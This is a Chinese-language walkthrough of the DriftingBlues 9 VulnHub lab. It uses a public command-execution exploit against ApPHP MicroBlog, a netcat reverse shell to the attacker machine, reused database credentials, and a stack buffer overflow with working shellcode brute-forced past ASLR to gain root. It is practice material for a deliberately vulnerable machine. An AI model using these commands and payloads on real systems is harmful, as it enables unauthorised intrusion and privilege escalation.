准备:
攻击机:虚拟机kali、本机win10。
靶机:DriftingBlues: 9 (final),下载地址:https://download.vulnhub.com/driftingblues/driftingblues9.ova,下载后直接vbox打开即可。
知识点:内存溢出、ApPHP MicroBlog Free框架漏洞。
注意:这个难度真不是easy,之前做过一个内存溢出靶场的:https://www.cnblogs.com/upfine/p/17140035.html。
信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.31.0/24,获得靶机地址:192.168.31.91。
扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.31.91,显示开放了80、111端口,开启了http服务、rpcbind。
目录扫描:
使用gobuster尝试对80端口进行目录扫描,发现README.txt等文件。
在web服务中访问README.txt文件信息,获得框架版本信息:ApPHP MicroBlog Free 和Version: 1.0.1。
框架漏洞获取shell:
使用searchsploit搜索下ApPHP MicroBlog Free框架的漏洞信息,发现存在一个命令执行漏洞。
使用python2执行该php文件进行漏洞利用,命令:python2 33070.py http://192.168.31.91/index.php,成功获得命令执行权限,并获得一组数据库的账户和密码信息:clapton/yaraklitepe。
使用命令执行窗口进行命令执行时,发现很多命令无法使用,因此尝试进行shell反弹,命令:nc 192.168.31.64 6688 -e /bin/bash,时候使用命令:python -c 'import pty;pty.spawn("/bin/bash")';升级shell。
提权-clapton:
在/home目录下发现账户信息:clapton,与刚才发现的数据库的账户信息一致,因此使用:clapton/yaraklitepe进行尝试切换账户,命令:su clapton,成功切换到clapton账户。
获得clapton账户权限后在/home/clapton目录下发现user.txt、note.txt、input文件,访问user.txt文件,成功获得flag信息。
提权-root:
查看note.txt文件,发现对我们的提示信息:buffer overflow is the way. ( ° ʖ °),告诉我们要利用缓冲区漏洞(或者下载文件后strings input,发现其存在一个未进行限制的strcpy函数,也可以确定)。
通过:find / -perm -4000 -type f 2>/dev/null来查找可疑文件,也只发现了/home目录下的input文件。
尝试执行input,提示我们需要输入字符串。
我们先查看下ASLR(地址随机化,一种缓冲区溢出的安全保护技术)是否被禁止,命令:cat /proc/sys/kernel/randomize_va_space,发现是被开启的。
sudo命令无法使用,没办法关闭ASLR,先把文件下载下来分析下吧,命令:scp input [email protected]:/home/kali/Desktop,成功下载input文件。第一次失败是因为kali未开启ssh服务。(这里在把靶机中也是可以直接做的,取出来只是为了方便测试payload)
关掉本地的ASLR进行测试,命令:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space。
然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000。
将生成的字符串用命令 r 在 gdb 中运行,如下,程序报错,显示在这个地址出现错误:0x41376641。
计算下此地址:0x41376641的偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41376641,得到其偏移量为171。用 python 构造字符串:$(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 64 )')。
查看下esp寄存器的值,命令:x/s $esp,得到:0xffffd040。用esp 寄存器的替换 4 个 B,因为是小字节序,倒过来写,构造 payload:$(python2 -c 'print("A" * 171 + "\x40\xd0\xff\xff" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')
利用构造的payload在本地进行测试,成功获得root权限,命令:r $(python2 -c 'print("A" * 171 + "\x40\xd0\xff\xff" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')。
读取下靶机中的esp值,获得:0xbfa4eca0,替换掉上面kali payload中的esp值。
因为靶机上ASLR无法关闭,因此进行多次执行,payload:for i in {1..10000}; do (./input $(python2 -c 'print("A" * 171 + "\xa0\xec\xa4\xbf" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')) ; done。获得shell权限后在/root目录下发现root.txt文档,读取该文档信息,成功获得flag值。